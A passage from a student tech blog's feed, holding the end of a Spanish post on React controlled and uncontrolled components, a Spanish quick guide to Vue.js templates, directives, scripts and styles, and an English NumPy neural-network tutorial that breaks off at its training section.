<li>El DOM es el encargado de administrar la informaci&#xF3;n</li>
<li>Los inputs o el formulario deben estar conectados a un &quot;ref&quot; de React</li>
</ul>
<h3 id="ventajasdeloscomponentesnocontrolados">Ventajas de los componentes no controlados</h3>
<ul>
<li>Implementar un componente no controlado deja al HTML el manejo de los datos por lo cual significa que por parte del mismo no generar&#xE1; renders.</li>
<li>Implementaci&#xF3;n r&#xE1;pida.</li>
</ul>
<h3 id="desventajasdeloscomponentesnocontrolados">Desventajas de los componentes no controlados</h3>
<ul>
<li>Debido a que un componente no controlado su informaci&#xF3;n es m&#xE1;s local que un componente controlado, el acceso a la informaci&#xF3;n y manipulaci&#xF3;n del mismo en otros lugares de la aplicaci&#xF3;n llega a ser m&#xE1;s complicado.</li>
</ul>
<h2 id="conclusiones">Conclusiones</h2>
<p>Un componente controlado nos da mayor &quot;control&quot; como menciona su nombre de lo que est&#xE1; pasando con los valores en tiempo real, pero con cierto costo con respecto a l&#xED;neas de c&#xF3;digo adem&#xE1;s que si no se lo controla puede crear renders innecesarios y un componente no controlado ser&#xE1; aquel que te enteraras de lo que pasa despu&#xE9;s de alg&#xFA;n evento perdiendo cierta informaci&#xF3;n de lo que est&#xE1; pasando en tiempo real. Dependiendo del problema con el que te enfrentes utiliza la estrategia que mejor te parezca.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Guia Rápida de VueJs]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Hola a todos, este blog es para darle un vistazo <em>r&#xE1;pido</em> y <em>compacto</em> a como se desarrolla aplicaciones con este framework, veremos la sintaxis que usa el template de archivos de vue como las caracter&#xED;sticas que esta poseen, esta gu&#xED;a es v&#xE1;lida</p>]]></description><link>https://blog.scesi.org/guia-basica-de-vue-js/</link><guid isPermaLink="false">610aed6d9f99a30967bba7b8</guid><category><![CDATA[Vue]]></category><category><![CDATA[Web]]></category><category><![CDATA[SCESI]]></category><dc:creator><![CDATA[Alan Bruno Benavides Alvarez]]></dc:creator><pubDate>Wed, 04 Aug 2021 20:55:19 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2021/08/vue.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.scesi.org/content/images/2021/08/vue.png" alt="Guia R&#xE1;pida de VueJs"><p>Hola a todos, este blog es para darle un vistazo <em>r&#xE1;pido</em> y <em>compacto</em> a como se desarrolla aplicaciones con este framework, veremos la sintaxis que usa el template de archivos de vue como las caracter&#xED;sticas que esta poseen, esta gu&#xED;a es v&#xE1;lida para las versiones 2 y 3. Con conocimientos b&#xE1;sicos de HTML, CSS y JS, ya es posible entender esta gu&#xED;a al 100%. Dicho esto comenzamos.</p>
<p><strong>Contenidos</strong></p>
<ol>
<li><a href="#que-es-vue">Que es Vue.js</a></li>
<li><a href="#como-crear-proyecto">Como crear un proyecto en vue</a><br>
2.1 <a href="#vue-cli">Vue CLI</a><br>
2.2 <a href="#vite">Vite</a></li>
<li><a href="#template">Template</a><br>
3.1 <a href="#directivas">Directivas</a><br>
3.1.1 <a href="#v-if">Renderizado condicional con v-if y v-else</a><br>
3.1.2 <a href="#v-for">Renderizado de lista con v-for</a></li>
<li><a href="#script">Script</a><br>
4.1 <a href="#eventos">Invocaci&#xF3;n de Eventos</a></li>
<li><a href="#styles">Styles</a></li>
<li><a href="#conclusion">Conclusi&#xF3;n</a></li>
</ol>
<h2 id="queesvuejsanamequeesvuea">Que es Vue.js <a name="que-es-vue"></a></h2>
<p>Vue es un framework progresivo para construir interfaces de usuario, que es f&#xE1;cil de utilizar e integrar con otras librer&#xED;as o proyectos existentes, de codigo abierto. Similar a Angular, React y Svelte.</p>
<h2 id="comocrearunproyectoenvuejsanamecomocrearproyectoa">Como crear un proyecto en Vue.js <a name="como-crear-proyecto"></a></h2>
<p>Para poder crear un proyecto en Vue.js es necesario tener instalado <em>nodejs</em> en nuestro computador.<br>
Mencionar que en esta secci&#xF3;n no se tomara la instalaci&#xF3;n por CDN, ya que no van acordes a los ejemplos de la guia, pero si desean saberlo les dejo el link, <a href="https://vuejs.org/v2/guide/installation.html#CDN">Instalacion por CDN</a>.<br>
Existen dos formas v&#xE1;lidas de crear un proyecto uno es usando Vue CLI y la otra es con Vite, dejare una peque&#xF1;as descripciones para que elijan cu&#xE1;l les llama mas la atencion.</p>
<h3 id="vueclianamevueclia">Vue CLI <a name="vue-cli"></a></h3>
<p>Es una herramienta para construir el entorno de Vue.js completa sin estar peleando con las configuraciones, con la flexibilidad de poder elegir las herramientas con las que deseas construir el entorno. todo desde la l&#xED;nea de comandos de una forma interactiva.<br>
Tambi&#xE9;n viene con el plus de a&#xF1;adir nuevas herramientas dentro del entorno a un futuro de forma r&#xE1;pida mediante comandos.<br>
Haremos todo este proceso con npm.<br>
Primero debemos de descargar la herramienta que nos permite generar estos entornos:</p>
<pre><code class="language-SH">npm install -g @vue/cli @vue/cli-service-global
</code></pre>
<p>Y/o verificamos las instalaci&#xF3;n con:</p>
<pre><code class="language-SH">vue --version
</code></pre>
<p>Y creamos el proyecto con:</p>
<pre><code class="language-SH">vue create nombre-app
</code></pre>
<p>Mencionar que esta herramienta construye al entorno de Vue.js con <em>webpack</em>.<br>
Para mas informacion de como crear un proyecto en <a href="https://cli.vuejs.org/guide/creating-a-project.html#vue-create">Vue CLI</a>.</p>
<h3 id="viteanamevitea">Vite <a name="vite"></a></h3>
<p>Vite es una soluci&#xF3;n relativamente nueva para crear entornos de Vue.js que usa <em>esbuild</em>. No da opci&#xF3;n a incrementar con otras herramientas dentro del entorno rapidamente como la hace <em>Vue CLI</em> . Pero promete ser mucho m&#xE1;s r&#xE1;pido que la anterior y viene con lo necesario para empezar a desarrollar.<br>
Para crear un proyecto usamos:</p>
<pre><code class="language-SH">npm init vite@latest
</code></pre>
<p>Y seguimos las instrucciones que nos da para crear el proyecto en Vue.js.<br>
Esta herramienta nos crea el entorno usando <em>Vue 3</em> pero en esencia no cambia a lo que veremos en la gu&#xED;a.</p>
<h2 id="templateanametemplatea">Template <a name="template"></a></h2>
<p>Si es tu primera vez creando un proyecto en vue, y creaste un nuevo proyecto, te recomiendo que apliques todos estos conceptos en el archivo App.vue.<br>
El template es donde se escribe el HTML de la instancia las directivas y donde se invocar&#xE1;n los eventos.</p>
<pre><code class="language-HTML">&lt;template&gt;
    &lt;div&gt;
        &lt;p&gt; Hola Mundo &lt;/p&gt;
    &lt;/div&gt;
&lt;/template&gt;
</code></pre>
<p>Es importante que el template solo tenga un &#xFA;nico hijo directo, para contener a todas las etiquetas que se renderizan, en este ejemplo el elemento padre es el div, pero no necesariamente tiene que ser un div, esto en la versi&#xF3;n 2 de Vue, para la versi&#xF3;n 3 ya no es necesario seguir esta regla.</p>
<h3 id="directivasanamedirectivasa">Directivas <a name="directivas"></a></h3>
<p>Las directivas de Vue es como renderizamos el HTML de la instancia. Las m&#xE1;s usadas con <code>v-if</code> que renderiza un elemento con una booleano y <code>v-for</code> que itera un array de elementos.</p>
<h4 id="renderizadocondicionalconvifyvelseanamevifa">Renderizado condicional con <code>v-if</code> y <code>v-else</code> <a name="v-if"></a></h4>
<p>La directiva <code>v-if </code> tiene que estar en el elemento que se desea renderizar condicionalmente y contener booleano para comprobar si se debe de renderizar o no.</p>
<pre><code class="language-HTML">&lt;template&gt;
    &lt;div&gt;
        &lt;div v-if=&quot;Math.random() &gt; 0.5&quot;&gt;
          Ahora me ves
        &lt;/div&gt;
        &lt;div v-else&gt;
          Ahora no
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/template&gt;
</code></pre>
<p>En este caso, el &apos;Ahora me ves&apos; se renderiza si el n&#xFA;mero rand&#xF3;mico es mayor a 0.5, caso contrario se renderiza el &apos;Ahora no&apos;.<br>
M&#xE1;s informaci&#xF3;n respecto al tema en <a href="https://es.vuejs.org/v2/guide/conditional.html">Renderizacion Condicional</a>.</p>
<h4 id="renderizadodelistaconvforanamevfora">Renderizado de lista con <code>v-for</code> <a name="v-for"></a></h4>
<p>Se agrega el atributo <code>v-for</code> a la etiqueta que se desea usar para la iteraci&#xF3;n.</p>
<pre><code class="language-HTML">&lt;template&gt;
    &lt;div&gt;
        &lt;ul&gt;
          &lt;li v-for=&quot;number in [1, 2, 3, 4, 5]&quot;&gt;
            {{ number }}
          &lt;/li&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;/template&gt;
</code></pre>
<p>Y de esta manera queda una lista de n&#xFA;meros en el HTML.</p>
<pre><code class="language-HTML">&lt;div&gt;
    &lt;ul&gt;
        &lt;li&gt;1&lt;/li&gt;
        &lt;li&gt;2&lt;/li&gt;
        &lt;li&gt;3&lt;/li&gt;
        &lt;li&gt;4&lt;/li&gt;
        &lt;li&gt;5&lt;/li&gt;
    &lt;/ul&gt;
&lt;/div&gt;
</code></pre>
<p>El <code>number</code> representa la variable el elemento que se est&#xE1; iterando y el array de n&#xFA;meros es la estructura que estamos iterando, esta no necesariamente tiene que estar en el HTML sino que podemos tenerla en una variable dentro de la instancia.<br>
M&#xE1;s informaci&#xF3;n respecto al tema en <a href="https://es.vuejs.org/v2/guide/list.html">Renderizacion de Lista</a>.</p>
<h2 id="scriptanamescripta">Script <a name="script"></a></h2>
<p>El script es el contenedor del JS que se usa en la aplicaci&#xF3;n que vendr&#xED;a siendo la logia, similar a como se incrusta JS en el HTML. Vue maneja options API que son secciones que manejan alguna caracter&#xED;stica de vue, que tienen que estar contenidas en el <code>export default</code>, donde las m&#xE1;s importante es la secci&#xF3;n de <em>Data</em> donde rescatamos a la opci&#xF3;n de  <code>methods</code> que sirve para agregar m&#xE9;todos a la instancia de Vue y <code>data</code> que maneja y almacena todas las variables que se usar&#xE1;n dentro de la instancia.</p>
<pre><code class="language-HTML">&lt;script&gt;
    export default {
        data() {
            return {
                bestForum: &apos;SCESI&apos;
            }
        },
        methods: {}
    }
&lt;/script&gt;
</code></pre>
<p>Para todas las variables que est&#xE1;n en <code>data</code>, estas variables se pueden acceder dentro del script con <code>this</code> como si se tratase de un atributo del objeto.<br>
Acceder desde un m&#xE9;todo de la instancia:</p>
<pre><code class="language-JS">methods: {
    sayHelloToTheBestForum() {
        console.log(&apos;Hello&apos; + this.bestForum)
    }
}
</code></pre>
<p>Acceder desde el template:</p>
<pre><code class="language-HTML">&lt;template&gt;
    &lt;div&gt;
        &lt;p&gt;{{ bestForum }}&lt;/p&gt;
    &lt;/div&gt;
&lt;/template&gt;
</code></pre>
<p>Existen otras options API como los <a href="https://es.vuejs.org/v2/guide/instance.html#Hooks-del-Ciclo-de-vida-de-la-Instancia">Hooks del Ciclo de Vida</a> de Vue y las <a href="https://es.vuejs.org/v2/guide/computed.html">Propiedades Computadas y Observables</a>.</p>
<h3 id="invocacindeeventosanameeventosa">Invocaci&#xF3;n de Eventos <a name="eventos"></a></h3>
<p>Los eventos son necesarios para interactuar con la aplicaci&#xF3;n, estos son invocados como atributos de HTML pero que inicien con un <code>v-on</code> o tambi&#xE9;n con <code>@</code> que este es un alias  identificarlos como eventos, y luego especificar qu&#xE9; evento se quiere invocar.</p>
<pre><code class="language-HTML">&lt;template&gt;
    &lt;div&gt;
        &lt;div&gt;{{count}}&lt;/div&gt;
        &lt;button @click=&quot;addCount()&quot;&gt;Click Me&lt;/button&gt;
        &lt;!-- o --&gt;
        &lt;!-- &lt;button v-on:click=&quot;addCount()&quot;&gt;Click Me&lt;/button&gt; --&gt;
    &lt;/div&gt;
&lt;/template&gt;

&lt;script&gt;
    export default {
        data() {
            return {
                count: 0
            }
        },
        methods: {
            addCount(){
                this.count += 1
            }
        }
    }
&lt;/script&gt;
</code></pre>
<p>Existe una gran cantidad de eventos disponibles, para aprender mas ver en <a href="https://es.vuejs.org/v2/guide/events.html#Metodos-Manejadores-de-eventos">Manejo de Eventos</a>.</p>
<h2 id="stylesanamestylesa">Styles <a name="styles"></a></h2>
<p>Style son para contener los selectores que se usar&#xE1;n dentro de la instancia, y pueden ser enlazadas directamente al HTML de la instancia.</p>
<pre><code class="language-HTML">&lt;template&gt;
    &lt;section class=&quot;frontend-layout&quot;&gt;
        &lt;p&gt;Hola Mundo&lt;/p&gt;
    &lt;/section&gt;
&lt;/template&gt;

&lt;style scoped&gt;
    .frontend-layout {
        min-heigth: 100vh;
    }
    p {
        color: red;
    }
&lt;/style&gt;
</code></pre>
<p>El atributo opcional scoped se usa para que las selectores tengan valor solo dentro de la instancia que donde est&#xE9;n escritas, su uso es recomendable por no decir obligatorio. Ya que no usarlo puede traer problemas a un futuro si no se manejan los estilos con una metodolog&#xED;a correcta.<br>
Existen distintas maneras de enlazar clases y estilos al template de la instancia m&#xE1;s explicado en <a href="https://es.vuejs.org/v2/guide/class-and-style.html">Enlace de Clases y Estilos</a>.</p>
<h2 id="conclusinanameconclusiona">Conclusi&#xF3;n <a name="conclusion"></a></h2>
<p>Este es mi primer blog, espero que les sirva, trate de comprimir lo m&#xE1;s importante, omitiendo quiz&#xE1;s algunos contenidos.<br>
Este es un framework muy f&#xE1;cil de aprender, y no contiene tantos tecnicismos como otros. Tambi&#xE9;n hace recuerdo a tener todo en un HTML con el CSS y el JS incrustados en etiquetas.<br>
Si se quedaron con ganas de m&#xE1;s traere otra guia de uso y comunicaci&#xF3;n de componentes proximamente.<br>
Para aprender m&#xE1;s sobre Vue y su entorno est&#xE1; la <a href="https://es.vuejs.org/v2/guide/">Guia en Espa&#xF1;ol Vue.js</a>.<br>
Con esto me despido, si tienen alguna duda o sugerencia no duden en escribirme, me pueden contactar por mis redes sociales.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Neural Network with Numpy]]></title><description><![CDATA[<p>Recommendations: This blog shows some mathematical expressions that looks bad in dark theme, It&apos;s recommended to read this blog in light theme.</p><h2 id="content">Content</h2><!--kg-card-begin: markdown--><ul>
<li><a href="#introduction">introduction</a></li>
<li><a href="#what-is-numpy">What is NumPy?</a></li>
<li><a href="#starting">Starting</a>
<ul>
<li><a href="#tools">tools</a></li>
<li><a href="#environment">environment</a></li>
</ul>
</li>
<li><a href="#coding">coding</a>
<ul>
<li><a href="#neural-network-and-perceptron">Neural network and perceptron</a></li>
<li><a href="#layer">Layer</a></li>
<li><a href="#activation-function">Activation function</a></li>
<li><a href="#neural-network-model">Neural Network Model</a></li>
<li><a href="#testing-our-model">Testing our model</a></li>
<li><a href="#training-the-model">Training the model</a></li>
<li><a href="#calculation-of-losses">Calculation</a></li></ul></li></ul>]]></description><link>https://blog.scesi.org/numpynn/</link><guid isPermaLink="false">611195297c7c9f168a284bca</guid><category><![CDATA[Machine Learning]]></category><category><![CDATA[AI]]></category><category><![CDATA[NeuralNetwork]]></category><dc:creator><![CDATA[Willy Samuel Paz Colque]]></dc:creator><pubDate>Wed, 12 May 2021 00:40:00 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2021/08/robot_tecnology.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.scesi.org/content/images/2021/08/robot_tecnology.jpg" alt="Neural Network with Numpy"><p>Recommendations: This blog shows some mathematical expressions that looks bad in dark theme, It&apos;s recommended to read this blog in light theme.</p><h2 id="content">Content</h2><!--kg-card-begin: markdown--><ul>
<li><a href="#introduction">introduction</a></li>
<li><a href="#what-is-numpy">What is NumPy?</a></li>
<li><a href="#starting">Starting</a>
<ul>
<li><a href="#tools">tools</a></li>
<li><a href="#environment">environment</a></li>
</ul>
</li>
<li><a href="#coding">coding</a>
<ul>
<li><a href="#neural-network-and-perceptron">Neural network and perceptron</a></li>
<li><a href="#layer">Layer</a></li>
<li><a href="#activation-function">Activation function</a></li>
<li><a href="#neural-network-model">Neural Network Model</a></li>
<li><a href="#testing-our-model">Testing our model</a></li>
<li><a href="#training-the-model">Training the model</a></li>
<li><a href="#calculation-of-losses">Calculation of losses</a></li>
<li><a href="#calculation-of-gradients">Calculation of gradients</a></li>
<li><a href="#training-cycles">Training cycles</a></li>
<li><a href="#testing-our-model-with-real-data">Testing our model with real data</a></li>
</ul>
</li>
<li><a href="#source-code">Source code</a></li>
</ul>
<!--kg-card-end: markdown--><h2 id="introduction">Introduction</h2><p>Welcome, in this blog I will teach you to program a neural network in a few code lines using only the Numpy library.</p><p>It is recommended that you have previous basic knowledge of python, numpy and a bit of lineal algebra.</p><h3 id="what-is-numpy">What is NumPy?</h3><p><strong>Numpy</strong> is a library for the Python programming language that supports creating large multidimensional arrays and vectors, along with a large collection of high-level mathematical functions to operate on them.<br>More info <a href="https://numpy.org/doc/stable/user/whatisnumpy.html">Here</a>.</p><h2 id="starting">Starting.</h2><h3 id="tools">Tools</h3><ul><li><strong>Python 3: </strong>First we need to install python, any version&gt; 3.5 will do, in this case we will use <a href="https://www.python.org/downloads/release/python-387/#Files">Python 3.8</a><br><em>On another occasion I will blog on how to install python correctly, for now you should find out how to do it.</em></li><li><strong>A code editor: </strong>You can use the one you like the most, here some examples: <a href="https://code.visualstudio.com/">Visual code</a>, <a href="https://atom.io/">Atom</a></li></ul><h3 id="environment">Environment</h3><p>We will use a virtual environment to facilitate things using virtualenv that is already included in the python installation.</p><p>For create a virtual environment run this in your terminal.</p><pre><code class="language-bash"># We first create our project folder.
mkdir neural_network 

# We move to the folder.
cd neural_network

# This creates the virtual environment in my_env folder
python3 -m venv my_env 
</code></pre><p>For activate the virtual environment run.</p><pre><code class="language-bash">source my_env/bin/activate
</code></pre><p>Now we are going to install the Numpy library in the virtual environment.</p><pre><code class="language-bash"># upgrade the pip
pip install -u pip

#install numpy library
pip install numpy
</code></pre><h2 id="coding">Coding</h2><h3 id="neural-network-and-perceptron">Neural network and perceptron</h3><p>A neural network is made up of functions like artificial neurons or perceptrons.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/02/RedNeuronalEsquema1.png" class="kg-image" alt="Neural Network with Numpy" loading="lazy"></figure><p><br>A perceptron is composed of a linear function, and an activation function.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/02/neurona.png" class="kg-image" alt="Neural Network with Numpy" loading="lazy"></figure><p><br>Mathematically the perceptron would look like this:</p><ul><li>$y = f(wx + b)$</li></ul><p>$$y = f(x_1w_1 + x_2w_2 + x_3w_3 + b)$$</p><ul><li>&quot;<code>x</code>&quot; is the data or signal it receives from another neuron</li><li>&quot;<code>w</code>&quot; is the weight that the signal received will have.</li><li>&quot;<code>b</code>&quot; is the bias of the neuron that corrects the prediction, in a linear equation &quot;<code>y</code>&quot; = &quot;<code>b</code>&quot; when all &quot;<code>x</code>&quot; is equal to 0.<br>In our implementation we will calculate the predictions in this way.</li><li>&quot;<code>f()</code>&quot;, is the activation function, then we explain about this</li></ul><p></p><p>The variables &quot;<code>w</code>&quot; and &quot;<code>b</code>&quot; control the result of the output &quot;<code>y</code>&quot;. <a href="https://www.geogebra.org/graphing/mj5s8pxc">See this example</a></p><p>$$<br>y = f(X_{(m,i)} \cdot W_{(i,n)} + B_{(m,n)})<br>$$</p><p>where:</p><ul><li>&quot;<strong>X</strong>,<strong>W</strong>,<strong>B</strong>&quot; are matrix</li><li>&quot;<strong>m</strong>&quot; is the input examples number</li><li>&quot;<strong>i</strong>&quot; is the inputs number</li><li>&quot;<strong>n</strong>&quot; is the outputs number</li></ul><h3 id="layer">Layer</h3><p>Open your code editor, create the file &quot;<code>neural_network.py</code>&quot; and write this.</p><pre><code class="language-python">class Layer:
    def __init__(self, neurons):
        self.neurons:int = neurons # the layer neurons
        self.shape:tuple = None # input shape
        self.W = None # the wight matrix, shape (inputs, neurons)
        self.B = None # the bias matrix,  shape (1, neurons)

    def forward(self, X): # output shape (input_examples, neurons)
        if self.shape is None:
            self.init_layer(X)
        return np.matmul(X, self.W) + self.B # matrix multiplication

    def init_layer(self, X):
        self.shape = (X.shape[-1], self.neurons) # X.shape (input_examples, input_data_size)
        # create initial parameters
        self.W = np.random.rand(*self.shape) * 2 - 1
        self.B = np.random.rand(1, self.neurons) * 2 - 1

    def __call__(self, X, training=False):
        Y = self.forward(X)
        if training: # if the model is training
            self.X = X
            self.Y = Y
        return Y
</code></pre><p>This is the implementation of a layer, a layer is a set of neurons receiving the same inputs</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/02/RedNeuronalEsquema1-1.png" class="kg-image" alt="Neural Network with Numpy" loading="lazy"></figure><p><br>But, this is layers of linear functions, only it can do linear regressions.<br>For make a neural network, the layers need activation functions. we will implement it.</p><h4 id="activation-function">Activation function</h4><p>First we implement the activation functions, this are the sigmoid activation and tanh activation<br>Sigmoid:<br></p><figure class="kg-card kg-image-card"><img src="https://latex.codecogs.com/png.image?\dpi{110}&amp;space;&amp;space;f(x)&amp;space;=&amp;space;\frac{1}{1+e^{-x}}&amp;space;;&amp;space;\frac{df(x)}{dx}&amp;space;=&amp;space;\frac{e^{-x}}{(1&amp;space;+&amp;space;e^{-x})^{2}}" class="kg-image" alt="Neural Network with Numpy" loading="lazy" title=" f(x) = \frac{1}{1+e^{-x}} ; \frac{df(x)}{dx} = \frac{e^{-x}}{(1 + e^{-x})^{2}}"></figure><p><br>Tanh:<br></p><figure class="kg-card kg-image-card"><img src="https://latex.codecogs.com/png.image?\dpi{110}&amp;space;f(x)&amp;space;=&amp;space;tanh(x)&amp;space;;&amp;space;\frac{df(x)}{dx}&amp;space;=&amp;space;1-tanh^{2}(x)" class="kg-image" alt="Neural Network with Numpy" loading="lazy" title="f(x) = tanh(x) ; \frac{df(x)}{dx} = 1-tanh^{2}(x)"></figure><p><br>ReLU:<br></p><figure class="kg-card kg-image-card"><img src="https://latex.codecogs.com/png.image?\dpi{110}&amp;space;f(x)&amp;space;=&amp;space;max(0,x)&amp;space;;&amp;space;\frac{df(x)}{dx}&amp;space;=&amp;space;1:(x\geq&amp;space;0)|0:(x%3C&amp;space;0)" class="kg-image" alt="Neural Network with Numpy" loading="lazy" title="f(x) = max(0,x) ; \frac{df(x)}{dx} = 1:(x\geq 0)|0:(x&lt; 0)"></figure><p>We implement it:</p><pre><code class="language-python"># a dict for select a activation function
activations = {
    &apos;sigmoid&apos;: {
        &apos;function&apos;: lambda X: 1 / (1 + np.e**(-X)),
        &apos;derivative&apos;: lambda X: np.e**(-X) / ((1 + np.e**(-X))**2)
    },
    &apos;tanh&apos;: {
        &apos;function&apos;: lambda X: np.tanh(X),
        &apos;derivative&apos;: lambda X: 1 - np.tanh(X) ** 2
    },
    &apos;relu&apos;: {
        &apos;function&apos;: lambda X: ((X / (X.max() + 1)) * (X &gt; 0)),
        &apos;derivative&apos;: lambda X: 1 * (X &gt;= 0)
    }
}
</code></pre><p>Now, the Layer with activation function.</p><pre><code class="language-python">class Dense(Layer): # this inherits from the Layer class
    def __init__(self, neurons, activation=&apos;sigmoid&apos;): # sigmoid activations for default
        super().__init__(neurons) # init the layer 
        self.activation:dict = activations[activation] # get specific activations functions

    def forward(self, X):
        Y = super().forward(X)
        return self.activation[&apos;function&apos;](Y) # calculate with activations function
</code></pre><h5 id="neural-network-model">Neural Network Model</h5><p>Finally, the neural network.</p><pre><code class="language-python">class Model:
    def __init__(self, layers:list=[]):
        self.layers:list = layers

    def add(self, layer: Layer):# add a Layer
        self.layers.append(layer)

    def forward(self, X, training=False): # forward in all layers
        Y = X
        for layer in self.layers:
            Y = layer(Y, training)
        return Y

    def __call__(self, X, training=False):
        return self.forward(X, training)
</code></pre><h4 id="testing-our-model">Testing our model.</h4><p>In other file &quot;<code>test_model.py</code>&quot; copy this:</p><pre><code class="language-python">import unittest
import numpy as np
from neural_network import Dense, Layer, Model

def testing_model_outputs(model: Model, condition):
    examples: int = np.random.randint(512) + 1  # random number of examples between 1-512
    inputs: int = np.random.randint(256) + 1  # random number of inputs between 1-256
    X = np.random.rand(examples, inputs)
    Y = model(X)
    assertion = condition(X, Y)
    return assertion

def add_many_layers_to_model(model: Model, layer:Layer):
    layers = np.random.randint(10) + 1  # random number of layers between 1-10
    for _ in range(layers):
        neurons = np.random.randint(128) + 1
        model.add(layer(neurons))

class TestNeuralNetwork(unittest.TestCase):
    def test_model_without_layers(self):
        &quot;&quot;&quot;
        The model has no intermediate layers, the input and output must be the same 
        because the data was processed
        &quot;&quot;&quot;
        assert testing_model_outputs(
            Model([]),
            # input and output are the same, so their subtraction is 0
            condition=lambda X, Y: np.mean(Y - X) == 0
        )

    def test_model_number_of_examples_constant(self):
        &quot;&quot;&quot;
        The input and the output are different but must have the same number of examples.
        If the input is from (m, i) the output must be from (m, n)
        &quot;&quot;&quot;
        model = Model([])
        add_many_layers_to_model(model, Layer) # let&apos;s pass the Layer class as an argument
        assert testing_model_outputs(
            model,
            # X.shape[0] is the number of examples
            condition=lambda X, Y: Y.shape[0] == (X.shape[0])
        )

    def test_model_output_shape(self):
        &quot;&quot;&quot;
        if you have an input with the form (m, i) and the last layer has &quot;n&quot; neurons, 
        the output must have the form (m, n)
        &quot;&quot;&quot;
        model = Model([])
        add_many_layers_to_model(model, Layer) # let&apos;s pass the Layer class as an argument
        last_layer_neurons = 3
        model.add(Layer(last_layer_neurons))
        assert testing_model_outputs(
            model,
            # X.shape[0] is the number of examples of the input
            condition=lambda X, Y: Y.shape == (X.shape[0], last_layer_neurons)
        )
if __name__ == &quot;__main__&quot;:
    unittest.main()
</code></pre><p>Don&apos;t panic!, this is just a test to see if the model works.<br>In this file 3 tests are carried out:</p><p><strong><code>test_model_without_layers</code></strong>: the model has no layers, the input is not rendered, so the model returns the input as output.</p><p><strong><code>test_model_number_of_examples_constant</code></strong>: the models have a random number of layers, but the number of examples must be the same, for example, if it receives 4 mathematical exercises it will deliver 4 mathematical exercises</p><p><strong><code>test_model_output_shape</code></strong>: in the previous test we saw that the number of examples is constant, but each example must have the same number of outputs as the number of neurons in the last layer.</p><p>run:</p><pre><code class="language-bash">python test_neural_network.py
</code></pre><p>output:</p><pre><code class="language-bash">...
----------------------------------------------------------------------
Ran 3 tests in 0.009s
OK
</code></pre><p>This means it works. As an exercise you can add a method to the TestNeuralNetwork class and create a model with Dense layers, the model must return random values between 0-1<br>You can also initialize the Dense layers with a second argument &quot;tanh&quot; if the last layer has this parameter it will return values between -1 to 1</p><h5 id="training-the-model">Training the model</h5><p>We have the neural network implemented, now we need to train it.</p><h4 id="calculation-of-losses">Calculation of losses</h4><p>We create a new file in the same folder &quot;<code>training_model.py</code>&quot; and we start typing this:</p><pre><code class="language-python">import time
import numpy as np

# we import our model
from neural_network import Model

def mse(Y, target):
    return np.mean((target - Y) ** 2, axis=1)

def d_mse(Y, target):
    return (2 * (Y - target)) / Y.shape[1]
</code></pre><p><strong>&quot;<code>mse</code>&quot;</strong> mean square error, the error calculation model<br></p><figure class="kg-card kg-image-card"><img src="https://latex.codecogs.com/png.image?\dpi{110}&amp;space;mse(y)&amp;space;=&amp;space;\frac{1}{m}&amp;space;\sum_{i=0}^{m}&amp;space;(t_i&amp;space;-&amp;space;y_i&amp;space;)^{2};&amp;space;\frac{dmse(y)}{dy_i}&amp;space;=&amp;space;\frac{2(y_i&amp;space;-&amp;space;t_i)}{m}" class="kg-image" alt="Neural Network with Numpy" loading="lazy" title="mse(y) = \frac{1}{m} \sum_{i=0}^{m} (t_i - y_i )^{2}; \frac{dmse(y)}{dy_i} = \frac{2(y_i - t_i)}{m}"></figure><ul><li>&quot;<strong>m</strong>&quot;, is the output examples number.</li><li>&quot;<strong>t</strong>&quot;, targets</li><li>&quot;<strong>y</strong>&quot;, output prediction for the model</li></ul><h4 id="calculation-of-gradients">Calculation of gradients</h4><p>Now type this in the same file:</p><pre><code class="language-python">def train_step(model: Model, X: np.ndarray, target: np.ndarray, lr: float):
Y = model(X, training=True) # model prediction
    acc = np.int64(target.argmax(axis=1) == Y.argmax(axis=1)).mean() # accuracy
    loss: np.ndarray = mse(Y, target) # prediction loss
    gradients = [] # gradients 
    for layer in reversed(model.layers): # Back-propagation
        derivative = layer.activation[&apos;derivative&apos;] # activation derivative
        if layer == model.layers[-1]:
            fault: np.ndarray = d_mse(Y, target)
        # calculating the fault of the neuron
        fault = fault * derivative(layer.Y)
        # Gradient calculation
        gradient: np.ndarray = np.matmul(fault.T, layer.X).T
        b_gradient: np.ndarray = np.matmul(
            fault.T, np.ones((X.shape[0], 1))).T
        gradients.append((gradient, b_gradient)) # save to gradients
        # update fault for back layer
        fault: np.ndarray = np.matmul(fault, layer.W.T)

    for layer, gradient in zip(reversed(model.layers), gradients):
        gradient, b_gradient = gradient
        layer.W = layer.W - lr * gradient # Update weights
        layer.B = layer.B - lr * b_gradient # Update bias

    return loss.mean(), acc
</code></pre><p><strong>Important functions and variables:</strong></p><ul><li><strong><code>gradient</code></strong>, is a vector that indicates where the new value of the weights &quot;<code>W</code>&quot; should move to</li><li><strong><code>b_gradient</code></strong>, gradients for the bias &quot;<code>B</code>&quot;</li><li><strong><code>update_parameters</code></strong>, this functions update the &quot;<code>W</code>&quot; and &quot;<code>B</code> using the gradients&quot;</li><li><strong><code>lr</code></strong> <strong>learning rate</strong>, is the step size that the <strong>weights</strong> &quot;<code>W</code>&quot; travel to approach the point of least <strong>loss</strong></li></ul><p>Gradient calculations are very complex. It is calculated in this way.<br></p><figure class="kg-card kg-image-card"><img src="https://latex.codecogs.com/png.image?\dpi{110}&amp;space;W_{i+1}&amp;space;=&amp;space;W_i&amp;space;-&amp;space;lr(\frac{\partial&amp;space;mse(y)}{\partial&amp;space;W_i})&amp;space;" class="kg-image" alt="Neural Network with Numpy" loading="lazy" title="W_{i+1} = W_i - lr(\frac{\partial mse}{\partial W_i}) "></figure><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/05/gradient_decent.jpeg" class="kg-image" alt="Neural Network with Numpy" loading="lazy"></figure><h4 id="training-cycles">Training cycles</h4><p>Type this 